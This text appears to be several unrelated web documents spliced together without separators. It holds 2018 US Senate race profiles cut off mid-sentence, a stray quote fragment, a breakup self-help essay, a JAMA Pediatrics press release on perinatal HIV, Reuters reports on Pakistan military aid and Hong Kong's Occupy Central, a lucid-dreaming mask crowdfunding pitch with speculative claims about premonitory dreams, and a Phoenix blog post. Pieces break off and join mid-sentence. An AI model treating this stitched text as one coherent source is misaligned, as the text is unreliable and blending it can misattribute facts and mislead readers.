2017, she did not support Nancy Pelosi as Speaker of the House and was one of only seven House Democrats to approve the Select Committee on Benghazi. As of September, she had$4.17 million on hand to fund her bid. Currently, she has no major primary opponents, which could change if astronaut Mark Kelly listens to party encouragement and joins the race. The husband of former congresswoman Gabrielle Giffords, Kelly was thrust into the national spotlight after his wife was the target of an attempted assassination in 2011. In the past, he’s been called the“Democrats’ dream candidate.”
FL democrat 13% Trump 49% toss-up More Information
Bill Nelson ( democrat, Florida) Age 75 Term 3rd 2012 Campaign Spending $17,125,413 Money Raised $7,604,978 2012 Margin of Victory 13% Presidential Winner (2016) Trump 49% Trump's Disapproval Rating 47.4% Incumbent's Disapproval Rating 26% Latest Polling Bill Nelson 44%; Rick Scott 44% Bill Nelson ( democrat, Florida) How vulnerable is the seat? Inside Elections: tilt democratic
Cook Political Report: lean democratic
Sabato's Crystal Ball: toss-up Why is it in play? As Florida’s only statewide elected Democrat, the 75-year-old, third-term senator is solidly centrist. He’s also never faced serious competition for his Senate seat, but he may this year if Florida’s popular governor, Rick Scott, who is term-limited, enters the Senate race, which he’s widely expected to do. An October poll showed Scott and Nelson neck and neck, pointing to an expensive race ahead. Both Democratic insiders and grassroots activists worry Nelson is out of touch with the party’s current trends. Nelson appealed to national Democratic leadership for help over the summer, and his race will likely get extra financial help from the party. However, there’s some reason to think Nelson will hang on — an analysis from the University of Minnesota found that in the 17 Senate elections since 1966, Floridians chose a nominee from the president’s party only five times, or less than 30 percent of the time. Who are the challengers? Governor Rick Scott would be a formidable challenger. His approval rating has hovered around 54 percent. He also has the wealth to fund his campaigns, and has spent at least $86 million on his own gubernatorial campaigns in the past. And while he hasn’t yet declared his candidacy, Democrats have already begun targeting him with TV ads and voter-registration drives. The only Republican to declare his or her candidacy so far is white supremacist Augustus Sol Invictus, who was recently accused of drinking the blood of a sacrificed goat and trying to lure neo-Nazis into the Libertarian Party. Nelson might also face a bruising primary: Law-school professor Tim Canova, who lost a bid to unseat Congresswoman Debbie Wasserman Schultz last year, and Orlando state senator Randolph Bracy have said they’re considering bids.
IN democrat 5.8% Trump 56.9% toss-up More Information
Joe Donnelly ( democrat, Indiana) Age 62 Term 1st 2012 Campaign Spending $5,579,171 Money Raised $6,769,897 2012 Margin of Victory 5.8% Presidential Winner (2016) Trump 56.9% Trump's Disapproval Rating 44.9% Incumbent's Disapproval Rating 26% Joe Donnelly ( democrat, Indiana) How vulnerable is the seat? Inside Elections: toss-up
Cook Political Report: toss-up
Sabato's Crystal Ball: toss-up Why is it in play? Like many of his fellow Senate Democrats from states won by Trump, Donnelly is a moderate often at odds with his own party. He’s pro-life, didn’t endorse same-sex marriage until 2013, and opposed Obama’s 2014 executive orders regarding immigration. Donnelly was also one of three Democrats who voted for Supreme Court nominee Neil Gorsuch. He’s the only Democrat elected statewide in Indiana, and his 2012 win was largely attributed to his opponents’ many mistakes. Outside groups have already run more than $2.5 million in ads against him this year. But with a 47 percent approval rating and more than $4 million already in the bank, Donnelly could be doing worse. Who are the challengers? Things have gotten brutal between the Republican front-runners, U.S. representatives Luke Messer and Todd Rokita, leading Politico to dub it the “GOP’s nastiest primary.” Rokita has referred to Messer as “unhinged,” and Messer’s Wikipedia entry was edited to mimic Rokita campaign rhetoric. It’s also causing divisions between Pence, whose brother supports Messer, and Trump, whose prominent supporters are backing Rokita. Messer's fundraising edge over Rokita has been slipping –– Rokita has closed the gap to within $50,000. Rokita has also served two terms as secretary of state and has experience winning statewide campaigns. Either Messer or Rokita would prove a formidable challenger against Donnelly, but the ideologically similar congressmen will face a brutal primary. Three less-well-known Republicans have also entered the race, including Mark Hurt, a lawyer from the small city of Kokomo; Andrew Takami, a university administrator; and Terry Henderson, a businessman from an Indianapolis suburb.
Tina Smith ( democrat, Minnesota) Age 59 Term 1st 2012 Campaign Spending $31,908,222 Money Raised N/A 2012 Margin of Victory 10.2% (Al Franken, 2014) Presidential Winner (2016) Clinton 46.4% Trump's Disapproval Rating 56.1% Latest Polling N/A Tina Smith ( democrat, Minnesota) How vulnerable is the seat? Inside Elections: likely democratic
Cook Political Report: toss-up
Sabato's Crystal Ball: leans democratic Why is it in play? Second-term senator Al Franken resigned in mid-December after eight women separately accused him of groping and forcibly kissing them. Franken hadn’t been up for reelection until 2020, and Democrats hadn’t anticipated defending the seat heading into 2018. Minnesota governor Mark Dayton appointed Lieutenant Governor Tina Smith to replace him, and she’ll have to defend the seat next year (and again in 2020). A rising political star in the state, Smith has been lieutenant governor since 2015, and served as the governor’s chief of staff before that. Though Minnesota leans Democratic, Republicans control both chambers of the state legislature, and Clinton won the state by a much narrower margin than expected. Franken’s resignation also sets the stage for massive upheaval in the state next year: Both Senate seats and the governor’s seat will be in play. Who are the challengers? No one has officially declared his or her intent to challenge Smith next year, but observers are asking whether Republican candidates for the governor’s seat (like the state’s former GOP chair, Keith Downey) might switch races. Representative Keith Ellison has said he will not challenge Smith for the Senate next year, decreasing her chances of a fraught primary.
MO democrat 15.7% Trump 56.8% toss-up More Information
Claire McCaskill ( democrat, Missouri) Age 64 Term 2nd 2012 Campaign Spending $21,264,063 Money Raised $10,659,893 2012 Margin of Victory 15.7% Presidential Winner (2016) Trump 56.8% Trump's Disapproval Rating 44.6% Incumbent's Disapproval Rating 39% Latest Polling Josh Hawley 48%; Claire McCaskill 45% Claire McCaskill ( democrat, Missouri) How vulnerable is the seat? Inside Elections: toss-up
Cook Political Report: toss-up
Sabato's Crystal Ball: toss-up Why is it in play? Claire McCaskill is a notably centrist Democrat. She’s butted heads with more progressive members of her own party, including Kirsten Gillibrand (over Gillibrand’s military-sexual-assault bill) and recently came out against Medicare for All. She voted against only seven of Trump’s Cabinet appointments and almost voted to approve Supreme Court nominee Neil Gorsuch. McCaskill has plenty of practical reasons to edge away from the left: Trump won Missouri by 19 points, and her disapproval rating is hovering around 42 percent, making her the 14th-most unpopular senator. She’s a shrewd campaigner: She first won election to the Senate in an extremely competitive 2006 race, and in 2012, she helped the weakest Republican primary candidate, Congressman Todd Akin, win the party’s nomination by running $1.7 million in ads lambasting his paleoconservative views, a strategy that endeared him to the state’s most extreme voters and alienated him from everyone else. (She ended up spending more on Akin in the last two weeks of the primary than Akin spent on his entire campaign, and it worked.) This time, however, she might not get so lucky. McCaskill has spoken about her fear of a primary opponent, claiming back in February that “people are very impatient with me because they don’t think I’m pure.” Not every Democrat seems to share those views: Grassroots groups helped McCaskill bring in a record-breaking $2.8 million in the first quarter of the year. Who are the challengers? The Republican primary field is shaping up to be messier than expected, which could give McCaskill an advantage. U.S. representative Ann Wagner declined to enter the race, leaving 37-year-old state attorney general Josh Hawley as the front-runner. Though he’s clearly leading the field and has the backing of Mike Pence and Mitch McConnell, he’s only held office since January, and at 37, he’s the youngest attorney general in the country. Following reports that Steve Bannon might back a more conservative candidate in the race, as he did in Alabama, Hawley began courting the former White House adviser and talking up his conservative bona fides. Still, it’s possible that Bannon could lend his support to a more conservative candidate, like ex-Libertarian presidential candidate Austin Petersen, Air Force veteran Tony Monetti, or Courtland Sykes, a 37-year-old newcomer who’s trying to rely on social media and anti-Establishment rhetoric to gin up support for his campaign.
MT democrat 3.7% Trump 56.5% democrat More Information
Jon Tester ( democrat, Montana) Age 61 Term 2nd 2012 Campaign Spending $13,347,866 Money Raised $7,660,206 2012 Margin of Victory 3.7% Presidential Winner (2016) Trump 56.5% Trump's Disapproval Rating 45.2% Incumbent's Disapproval Rating 33% Jon Tester ( democrat, Montana) How vulnerable is the seat? Inside Elections: tilt democratic
Cook Political Report: likely democratic
Sabato's Crystal Ball: leans republican Why is it in play? This two-term senator has the kind of bona fides you can’t fake: Born and raised in Montana, he still maintains the farm that’s been in his family for more than 100 years, and lost three fingers in a meat saw as a child. When he last ran for reelection, he had an A rating from the NRA, and he voted against the DREAM Act. Still, Trump won the state by 20 points and Romney by 14. Opponents try to paint him as a Washington insider, and he’s been hit with ads criticizing his support of Obamacare and vote against Supreme Court nominee Neil Gorsuch. Tester has never had an easy election. He eked out his first win against a three-term incumbent in 2006, and in 2012, he only barely won reelection against Denny Rehberg, a six-term House representative. (Larry Sabato thought this was the Senate seat most likely to switch parties that year.) However, Tester’s approval rating has jumped to 53 percent since July, making him one of only two vulnerable senators to see an increase there. Who are the challengers? Republicans initially had difficulty recruiting candidates: U.S. representative Ryan Zinke was widely expected to challenge Tester until he was chosen by Trump to become the secretary of the Interior, and Montana attorney general Tim Fox decided against a bid back in June. Since then, at least five Republicans have declared their candidacy, with the most serious challenges coming from Montana state auditor Matt Rosendale and former Yellowstone County district judge Russell Fagg. Rosendale raised over $400,000 last fundraising quarter and is campaigning on a platform to improve Defense Department funding and strengthen support for veterans, who make up about 10 percent of Montana’s population. Though he hasn’t run for statewide office, Fagg has name recognition in Yellowstone County, which holds about a seventh of the state’s population and is key to Tester’s success. Local businessmen Troy Downing and Ronald Murray, and state senator Al Olszewski are also making bids for the seat.
ND democrat 0.9% Trump 63% toss-up More Information
Heidi Heitkamp ( democrat, North Dakota) Age 62 Term 1st 2012 Campaign Spending $5,493,544 Money Raised $6,056,386 2012 Margin of Victory 0.9% Presidential Winner (2016) Trump 63% Trump's Disapproval Rating 43.9% Incumbent's Disapproval Rating 32% Heidi Heitkamp ( democrat, North Dakota) How vulnerable is the seat? Inside Elections: toss-up
Cook Political Report: lean democratic
Sabato's Crystal Ball: leans democratic Why is it in play? During her only term in the Senate, Heidi Heitkamp has pushed for farm subsidies, an “all-of-the-above” energy policy, and Second Amendment rights. She was one of four Democrats who voted against new background-check legislation in the wake of the Newtown shooting, and supported Supreme Court nominee Neil Gorsuch. (So far this year, she’s voted in line with Trump’s position a little more than half the time.) Despite what seem to be fairly conservative bona fides and a 55 percent approval rating, Heitkamp’s reelection chances are dampened by Trump’s 36-point win in the state. She waited until September to even declare her intentions of seeking reelection. Who are the challengers? Republican state senator Tom Campbell is Heitkamp’s only declared challenger so far. Campbell, who makes his living as a farmer and has only served in the state senate since 2012, has criticized Heitkamp’s support of Obamacare and wants to balance the budget. He’s raised a little over half a million since entering the race in August; by comparison, Heitkamp’s raised a little over twice as much since July. Congressman Kevin Cramer, the state’s only U.S. representative, is seen as a potential challenger and met with Mitch McConnell back in December when Heitkamp was being considered for a Cabinet position, which would have left her Senate seat open. He has a history of controversial remarks, defending Sean Spicer after his “Holocaust centers” comments and mocking the white pantsuits women Democrats wore to Trump’s first address to a joint session of Congress. However, Republicans reportedly fear a Todd Akin–level gaffe and have largely lined up behind Campbell instead. State representative Rick Becker is also “seriously considering” a bid. So far no serious Democratic primary challenger has emerged.
NV republican 1.2% Clinton 47.9% toss-up More Information
Dean Heller ( republican, Nevada) Age 57 Term 1st 2012 Campaign Spending $9,192,588 Money Raised $6,451,791 2012 Margin of Victory 1.2% Presidential Winner (2016) Clinton 47.9% Trump's Disapproval Rating 51.2% Incumbent's Disapproval Rating 39% Latest Polling Dean Heller 38%; Danny Tarkanian 44% Dean Heller ( republican, Nevada) How vulnerable is the seat? Inside Elections: toss-up
Cook Political Report: toss-up
Sabato's Crystal Ball: toss-up Why is it in play? With Jeff Flake sitting out 2018 in Arizona, Dean Heller is the Republican senator most vulnerable to a primary challenge from the right. The first-term senator’s troubles date back to the election, when he refused to endorse the Republican nominee. Under Trump, he’s drawn ire from both sides for his waffling; he voted against the Affordable Care Act, then publicly opposed the House repeal, even as tape surfaced of him saying he’ll“do everything I can to get to a yes.” At a rowdy town hall in April, Heller, who has a pro-life voting record, stated that he opposed defunding Planned Parenthood. Nevada’s blue streak also works against Heller: Senator Catherine Cortez Masto won Harry Reid’s former seat in 2016 with a majority in just one county, thanks in large part to the left-leaning cities of Las Vegas and Reno. Clinton and Obama won in the last three presidential elections, and in 2016, Democrats flipped two Republicans in the House and took both chambers in the state legislature. Who are the challengers? First, Heller must make it out of the primary. Danny Tarkanian, an attorney who’s been unsuccessful in his bids for state senate, the Senate, the House, and the Nevada secretary, finally has momentum, thanks to his unwavering support of the president and a cosign from Steve Bannon. The son of famed UNLV coach Jerry Tarkanian, the 55-year-old enjoys strong name recognition and a reputation for solid fundraising. In August, he led in the primary in at least one poll –– though a $17 million judgment over an unpaid loan and a sanction for practicing law with an inactive license could derail him in the long run. Heller’s threat from the left is Congresswoman Jacky Rosen, who defeated Tarkanian in the 2016 bid for the open seat in Nevada’s far-southern Third District. Already, Rosen has the blessing of retired Silver State powerhouse Harry Reid and $1.2 million in hand to fight the survivor of the Republican primary. She could make gains among the majority of Nevadans who voted for gun-control reform on the 2016 ballot, and which still haven’t been enacted after the Las Vegas shooting.
OH democrat 5.2% Trump 51.3% democrat More Information
Sherrod Brown ( democrat, Ohio) Age 65 Term 2nd 2012 Campaign Spending $24,576,288 Money Raised $13,735,090 2012 Margin of Victory 5.2% Presidential Winner (2016) Trump 51.3% Trump's Disapproval Rating 48.8% Incumbent's Disapproval Rating 28% Latest Polling Sherrod Brown 42%; Josh Mandel 50% Sherrod Brown ( democrat, Ohio) How vulnerable is the seat? Inside Elections: lean democratic
Cook Political Report: lean democratic
Sabato's Crystal Ball: leans democratic Why is it in play? A dovish, economic populist, Sherrod Brown represented a northern-Ohio district in the House for 14 years before riding a wave of anti-Iraq momentum into the Senate in 2006. Brown is something of a blue star in a bleak state for Democrats — the GOP has a super majority in both state house chambers, and Trump won Ohio by eight points. The senator has held on with a commitment to pro-union and pro-labor politics, including an endorsement for theFight for $15. Since November, he has been one of the leading Democrats to cooperate with the president, reaching out with a skeptical optimism on trade, jobs, and health care. Yet Brown maintains that the Cabinet has been handpicked for a“rollback of protections for workers”and recently said that Stephen Miller “seems to be” a white supremacist. In 2016, Trump won an estimated one-third of the votes cast |
fill [the date] in. After a while it became easier for me to remember Jan. 1," he said. "I didn't know the month, I didn't know the day, and you cannot leave it blank, right?"They say the best revenge is living well. Sure it’s easy to say, but when we are in that situation ourselves, it somehow just doesn’t seem like enough. Doesn’t he deserve a slap in the face? Doesn’t he deserve our spiteful, hate filled words? Shouldn’t he at least be as miserable as he made you? Imagine for a moment that you are in his position.
There was somebody you cared for. Maybe you were in a relationship, maybe you were casually seeing each other or maybe just great friends. But one day you decide that this person doesn’t have a place in your life anymore. You no longer need or want them to be around you all the time, so things come to an end.
Now imagine they spit the very same venomous words at you that you so very desperately want to throw at him. They cry, they yell, they hit and they just generally act like a spoilt child not getting their own way. Does it make you hurt? Or does it make you pity them? Does it make you wish you still had them in your life, or does it make you realize why you got rid of this crazy, jealous bitch in the first place? Once you choose to take this approach there is no turning back. You will forever become that psycho ex girlfriend that he and his mates take great pleasure in making fun of. Do you really want to be the subject of his jokes? After all of the things he has put you through do you really need to help him by giving him extra ammunition to hurt you? Or do you need him to regret the choices he made, to wish he could still have you and to know he made a mistake?
Now imagine instead of this person throwing a tantrum by projecting their anger and trying to hurt you, it suddenly seems as though you never existed to them. They seem to be living their life happy and free as if nothing ever happened. You start to ask yourself if maybe somebody else is making them happy in a way that you never could. You start to wonder if you had of stayed with them would you be sharing in that luminous enjoyment and on top of the world freedom they seem to be experiencing without you. Would this hurt to see them move on so quickly, as though they are the one who doesn’t need you anymore? Suddenly the tables are turned. When you take this alternate approach you take back everything that he took from you. He took your happiness, your self-worth and your power? You take it back plus some extra. You show him that you don’t need him anymore than you need those raisins in what you thought was your chocolate chip muffin.
In the process of this split you lost him, and that’s something you can never change. Don’t let him make you lose yourself too. Don’t lose everything you know you are by becoming that typical girl, crying into your ice cream and watching Romeo and Juliet in the love story you’ll never have. Find yourself in a way you never did when you were with him, enjoy every moment of freedom you have not just because it makes him want you back but because you know you deserve it.A new article published online by JAMA Pediatrics estimates there were 69 perinatal human immunodeficiency virus (HIV) infections among infants born in the United States in 2013 (1.75 per 100,000 live births), down from an estimated 216 perinatal HIV infections among infants born in 2002 (5.37 per 100,000 live births).
Updated national estimates of the number of perinatal HIV transmissions in the United States are needed to guide policy and monitor progress toward the goal of eliminating mother-to-child transmission.
Steven R. Nesheim, M.D., of the Centers for Disease Control and Prevention, Atlanta, and coauthors used existing HIV surveillance data to estimate the numbers and describe the characteristics of infants with perinatal HIV infection in recent years in the United States.
Maternal and infant factors associated with infant HIV infection include late maternal diagnosis and lack of antiretroviral treatment and prophylaxis, according to the article.
"Despite reduced perinatal HIV infection in the United States, missed opportunities for prevention were common among infected infants and their mothers in recent years.
As of 2013, the incidence of perinatal HIV infection remained 1.75 times the proposed Centers for Disease Control and Prevention elimination of mother-to-child HIV transmission goal of 1 per 100,000 live births," the article concludes.
###
For more details and to read the full report, please visit the For The Media website.
(JAMA Pediatr. Published online March 20, 2017. doi:10.1001/jamapediatrics.2016.5053; available pre-embargo at the For The Media website.)
Editor's Note: Please see the article for additional information, including other authors, author contributions and affiliations, financial disclosures, funding and support, etc.
Related material: The editorial, "Using Systems of Care and a Public Health Approach to Achieve Zero Perinatal HIV Transmissions," by Laura W. Cheever, M.D., of the U.S. Department of Health and Human Services, Rockville, Md., also is available on the For The Media website.
To place an electronic embedded link in your story: Links will be live at the embargo time: http://jamanetwork.com/journals/jamapediatrics/fullarticle/10.1001/jamapediatrics.2016.5053
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http://www.jamamedia.orgBy Andrew Quinn and David Alexander
U.S. Secretary of State Hillary Clinton (R) and Pakistan's Foreign Minister Shah Mahmood Qureshi hold a news conference after the U.S.-Pakistan Strategic Dialogue Plenary Session at the State Department in Washington October 22, 2010. REUTERS/Jim Young
WASHINGTON (Reuters) - The United States announced $2 billion in military aid for Pakistan on Friday as the two countries sought to dispel doubts about Islamabad’s commitment to uprooting Islamist insurgents from safe havens on its soil.
“The United States has no stronger partner when it comes to counterterrorism efforts against the extremists who threaten us both than Pakistan,” Secretary of State Hillary Clinton said in announcing plans to ask Congress for a five-year aid package.
The military aid, which would help put Pakistan’s war planning on a more stable footing, would complement a $7.5 billion multiyear package of civilian assistance already cleared by U.S. lawmakers.
Clinton said the administration would also ask for $27 million to fund military education and training in Pakistan, one of the largest recipients of U.S. foreign military aid after Israel and Egypt.
The aid package, announced at the third round of the U.S.-Pakistan Strategic Dialogue, was a top issue for Pakistanis attending the three-day session.
It helped balance the fact President Barack Obama plans to bypass Islamabad next month when he travels to rival India. Although Obama has promised to visit Pakistan in 2011, the move could be seen as a slight.
“(Pakistanis) are very aware that the president is going to India next month and they want to demonstrate to their people that there is a strong U.S.-Pakistani connection,” said Stephanie Sanok, a fellow at the Center for Strategic and International Studies.
Michael O’Hanlon, an analyst at the Brookings Institution think tank, said the package represented “reasonable, solid, positive incremental progress, but nothing game-changing.”
“We have no assurance yet that we’re headed for an acceptable outcome here and I would have gone for more of a game-changer,” O’Hanlon said, like proposing a nuclear cooperation deal similar to the one the United States has with India.
The strategic dialogue came as Washington and Islamabad work to ease strained relations caused by U.S. pressure for Pakistan to move more aggressively against insurgent safe havens, and a cross-border incursion that killed two Pakistani border guards.
Pakistani Foreign Minister Shah Mehmood Qureshi rejected critics who argue that Islamabad’s heart is not in the fight against the militants, some of whom are believed to have shadowy ties with Pakistani intelligence services.
DOOMSDAY SCENARIOS ‘DEAD WRONG’
“Prophets of doom are back in business, painting doomsday scenarios about our alliance,” he said. “They are dead wrong.”
State Department spokesman P.J. Crowley said a “relatively small number” of Pakistani military units would not receive assistance because of human rights concerns.
He indicated the units had been excluded for some time under restrictions imposed by Congress but declined to say when Pakistan was informed.
Looming over the strategic dialogue was the nine-year-old war in Afghanistan and the fight against al Qaeda and other Islamist extremist groups.
Obama’s administration is under pressure to show progress in the U.S.-led war before a December strategy review. The review will begin to assess how quickly Washington can draw down U.S. forces after Obama’s July 2011 target for beginning transfer to Afghan security control.
The Obama administration has pointedly pressed Pakistan for more aggressive action against safe havens in North Waziristan, saying in a recent report to Congress that Pakistani forces had avoided fights with al Qaeda and related militants, in part for political reasons.
Stepped-up attacks in the region by U.S. drone aircraft have aggravated public opinion in Pakistan and relations deteriorated further after the cross-border helicopter incursion killed two Pakistani border guards.
The incident prompted Pakistan to close a border crossing near the Khyber Pass to NATO supply convoys for 10 days until apologies were made by U.S. and NATO officials.
Pakistani officials called for better coordination to avoid incidents like the killing of the border guards and warning that violence in disputed Kashmir threatened the stability of the region.
Qureshi urged Obama to press India for a solution in Kashmir, a Muslim majority region claimed by Pakistan and India that has been rocked by violent clashes and protests against Indian rule.
“President Obama has always understood the importance of a Kashmir solution. His coming visit to the region is the time to begin to redeem the pledge,” Qureshi said.The difficulty when someone wants to control their dreams is that months of training are required. With Oneirics, you can achieve it in just a few days!
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The problems that other available masks have are that they don't train you, they need to be configured manually and they don't detect sleep phases precisely. In the end, they don't get you lucid. They just wake you up.
The Oneirics Mask will communicate with the Oneirics Trainer when you are in the REM phase to let you know that you are dreaming.
Thanks to the training you will have done during the day with the Oneirics Trainer, your brain will associate the cue to be dreaming. In this way you will control your dreams in a fast and easy way!
The Oneirics Mask is able to send you light alerts, vibration alerts, sounds and music to let you know that you are dreaming.
Artificial Inteligence
Using Artificial Intelligence, the Oneirics Mask is automatically configured each night. An adaptive algorithm will keep looking for optimal cues. These cues change periodically so that your brain never gets used to them.
Bluetooth Connection
Designed with Bluetooth Smart Ready, The Onericis Mask will coordinate with the Smart Bracelet and your Smartphone to emit cues to let you know that you are dreaming. In this way you will increase the possibility of lucid dreaming.
Eye Tracking Sensors
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With four ultrasensitive tracking sensors, the Oneirics Mask will precisely detect your REM phase and you will be able to communicate whilst you are sleeping to notify that you are having a lucid dream.
Smart Alarm
The Oneirics Mask wakes you up at an optimal time within the timeframe that you have indicated. In this way you will wake up better rested. Using all of its sensors and thanks to its advanced, adaptive REM-detection algorithm, it will always know the sleep phase you are in.
Oneirics Mask Sensors
The Oneirics Mask has the most sophisticated and sensitive sensors, opening up a world of possibilities to the monitoring and control of your dreams.
Oneirics Mask Features
These are some of the features that the Oneirics Mask offers:
The Oneirics Diary As important as your daytime training is the analysis of your dreams. The Oneirics Diary is an application that can show you all the statistics collected from the Mask at night. You can describe the dreams that you had and whether or not you were able to control them. This will help you to improve the control of your dreams, progressively remembering more and more details about your dreams. The Oneirics Diary will be available for Android and iOS. Social Networks Oneirics can be connected to the Internet through your Smartphone. Imagine being able to change your Facebook status from your dreams: Having a Lucid Dream!
What's Inside?
Oneirics Trainer is built to last. Its mechanical structure protects the printed circuit board. For us to fit so much into such a small space, we really had to get creative with the design.
With Oneirics Mask, our main effort was to make a comfortable sleep mask and keep it simple for mass production. The resulting design is something we think is beautiful, both inside and outside."
Scientific Explanation
Dr Stephen LaBerge at Stanford University became famous for publishing an experiment about lucid dreams in 1983. LaBerge did his doctorate thesis on lucid dreaming. Today, he runs intensive workshops and dream experiments at The Lucidity Institute and his classic book Exploring The World of Lucid Dreaming remains a best-seller on the subject.
LaBerge recorded a set of pre-determined eye movement signals from his volunteer, in a lucid dream state under laboratory conditions. The volunteer simply looked in different directions in his lucid dream - eg left, right, left, right, left - causing his eyes to mimic the action in reality. By doing this, he was able to communicate from the dreamworld to the waking world, in real time.
How We Got Here
For the past three years, we've been heads down designing, prototyping, coding, testing, experimenting, redesigning and rebuilding.
The Oneirics Trainer Evolution:
The Oneirics Mask Evolution:
Where We Are Now
Source: World Of Lucid Dreams The Oneirics Mask with its eye tracking sensors will record eye movement. When the mask detects a predetermined eye movement, it will communicate with your smartphone to change your social networks status if you want.
Throughout the three years of development, we have seen how similar projects have appeared. We did not want to launch our products until we were sure that they are the ultimate solution to all our customer’s needs.
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We have finished the hardware development phase, the hardest phase in a project with these characteristics. The housing cases of the Mask and of the Smart Bracelet are already finished. We have to finish the software development and the last final editing of the firmware.
The Oneirics Trainer Production Test
In order to reduce problems with mass production, we have undergone a production test to check that all production lines work correctly.
The Onerics Mask Circuit - Rear Side
The Onerics Mask Circuit - Face Side
Timeline
Stretch Goals
This is our initial goal. Because after three years of development, we need your help to start mass production.
Because nobody knows if the world of dreams is another reality. We hope to answer these questions with statistics and research:
Are there worldwide dream patterns about the important events?
Does Shared Dreaming Exist?
You can share dreams with your friends to know whether they had the same dream.
Are Premonitory Dreams Real?
Help us to store thousands of dreams for a research. Because throughout history a lot of people have dreamt of the same event before it occurred. For example, the sinking of the Titanic.
Our goal is to continue this research:
Induction of self awareness in dreams through frontal low current stimulation of gamma activity
And take lucid dreaming to the next level! We need to raise $2 million to expand our team to do this well. Also, we need laboratory equipment to control all values.
There will be a number of challenges, but we are sure that we can overcome them!
Rewards
Our deepest gratitude goes to Stephen Laberge. Without all his work, it wouldn’t have been possible.* Occupy Central protest leaders surrender to police
* Students stay at main protest site
* Occupy movement now “in tatters”, analyst says (Adds police statement, paragraph 6)
By Clare Jim and Clare Baldwin
HONG KONG, Dec 3 (Reuters) - Leaders of Hong Kong’s Occupy Central movement surrendered to police on Wednesday for their role in democracy protests that the government has deemed illegal, the latest sign that the civil disobedience campaign may be running out of steam.
Three founders turned themselves in a day after calling on students to retreat from protest sites in the Asia financial centre amid fears of further violence, just hours after student leader Joshua Wong had called on supporters to regroup.
Pro-Beijing groups taunted Benny Tai, Chan Kin-man and Reverend Chu Yiu-ming as they entered a police station just two subway stops from the main protest site in Admiralty, next to the Chinese-controlled city’s financial centre.
The three, accompanied by Cardinal Joseph Zen, 82, former Catholic Bishop of Hong Kong, filled in forms, giving personal information, and were allowed to leave without facing any charges.
“I hope we can show others the meaning of the surrender. We urge the occupation to end soon and more citizens will carry out the basic responsibility of civil disobedience, which is to surrender,” said Benny Tai, the most prominent of the Occupy leaders, after he left the police station.
Police said 24 people aged between 33 and 82 had surrendered for “taking part in an unauthorised assembly”, and authorities would conduct follow-up investigations based on the information provided.
More than 100,000 people took to the streets at the height of the demonstrations but numbers have dwindled to a few hundred, mostly students, and public support has waned as the protests blocked key roads and disrupted business.
Some students defied calls for them to retreat and vowed to stay put at protest sites to press their call for free elections for the city’s next leader in 2017.
But Jean Pierre Cabestan, an expert in Chinese politics at Hong Kong Baptist University, said the Occupy movement was “in tatters”.
“The trouble and one of the weaknesses of the movement is there’s not much coordination between the Hong Kong Federation of Students and the pan-democrats,” he told foreign correspondents in Beijing.
The protesters are united in their calls for democracy for the former British colony but are split over tactics, two months after the demonstrations, also branded illegal by Beijing, began.
“Illegal demands cannot be granted, especially those expressed by illegal and extreme methods,” the overseas edition of the Chinese Communist Party’s official People’s Daily said.
The Occupy call for students to pull back came a day after clashes between police and protesters in Admiralty after activists tried to ring government headquarters.
Police charged into the protesters, raining down truncheon blows and squirting jets of incapacitating “pava” spray. Scores of activists and police were wounded.
Pro-democracy media mogul Jimmy Lai said the students should withdraw. “If (the protest) keeps dragging on, it will wear down their willpower, which is exactly what Beijing wants,” he told reporters.
Authorities cleared protesters from the working-class district of Mong Kok across the harbour last week, triggering running battles as students tried to regroup.
A small group remains camped out in the busy shopping district of Causeway Bay, but the bulk are in nearby Admiralty where students have erected a makeshift village.
Hong Kong returned to Chinese Communist Party rule in 1997 under a “one country, two systems” formula that gave it some autonomy from the mainland and a promise of eventual universal suffrage.
Beijing has insisted on screening any candidates for city leader first.
The Occupy Central movement had planned to lock down the heart of the financial centre around the first week of October but violent clashes between riot police and students at the end of September got the action off to an early start. (Additional reporting by Joseph Campbell in HONG KONG and Ben Blanchard and Sui-Lee Wee in BEIJING; Writing by Anne Marie Roantree; Editing by Nick Macfie and Jeremy Laurence)Recently, I found myself talking to a few friends on separate occasions about how many cool new things are happening in Downtown Phoenix right now. We talked about how all these things are having a collective impact and gathering momentum for our Downtown. My friend Philip Beere today remarked on how Downtown has changed immensely in 10 years, going from almost no restaurants or places to hang out to all the places we see today. I’ve seen drastic changes even in the past five years, with a lot of mom and pop small businesses and community efforts taking hold. Plus I would say in the past year or so, things are picking up speed and the winds are definitely changing for the better in Downtown Phoenix.
Below are 6 cool new Downtown happenings that have been popping up a lot in conversations around me…
Peritoneum
Moving and installing this great public art piece to Mike Davis’s Ro2 Lot was a gynormous community effort in the middle of the summer. But now it’s become a welcome addition to the Roosevelt Art’s District, right next door to the next cool thing people have been buzzing about….
Songbird Coffee and Tea House
Songbird just opened yesterday, but people have been talking about it for quite a while. A Places, Spaces and Faces Community Dinner was held there just this weekend. It is a very cute little coffee shop inside monOrchid, a gallery and co-working space in the Roosevelt Arts District – a great example of mixed-use!
Lawn Gnome Bookstore
Every time I visit another city, I make it a point to go to a bookstore in their Downtown. I’ve visited some great ones in Seattle, Milwaukee, London, and Chicago. I’ve been DYING for a 2nd hand bookstore to come to Downtown Phoenix and now we have one! Enter the Lawn Gnome 2nd hand bookstore. Welcome to the neighborhood friends!
Pedal Craft at the City
Pedal Craft at Kitchen Sink Studios earlier this year was one of the most exciting and successful events Downtown Phoenix has ever seen. It was all about bikes and art. The huge turn out at this event showed the growing presence of a bicycle culture in Phoenix. Now we have Pedal Craft take II at City Hall, very aptly showing the people in power this growing presence – wink, wink, hint, hint. More bicycle lanes please!
Murals All Over the Place!
There are murals everywhere in the Roosevelt Arts District, I mean EVERYWHERE. And it’s wonderful. These murals, more and more popping up all the time, give the place, well, a sense of place. These murals are becoming such a phenomenon that Roosevelt Arts District is quickly becoming a destination for visitors from all over the Valley. By the way, there’s nothing like a mural to make back alleys and parking lots actual places of interest for people to enjoy instead of forgotten, dark places where questionable things occur.
Bodega 420
Holy cow what a cute little market! I love cute little markets like this and was remarking on one I saw in Bisbee just recently and on another I saw near Downtown Tempe. But, look, Downtown Phoenix has one too! This market was set up as a compliment to the now defunct Urban Grocery, and has become quite a community hot spot in the area. My friend Bob Diehl tells me the ice-cream here is to die for.
So there you go, Downtown Phoenix is finally getting a personality and becoming an interesting place! And I have a feeling that this is only the beginning…WHAT IS OUR STORY ABOUT...
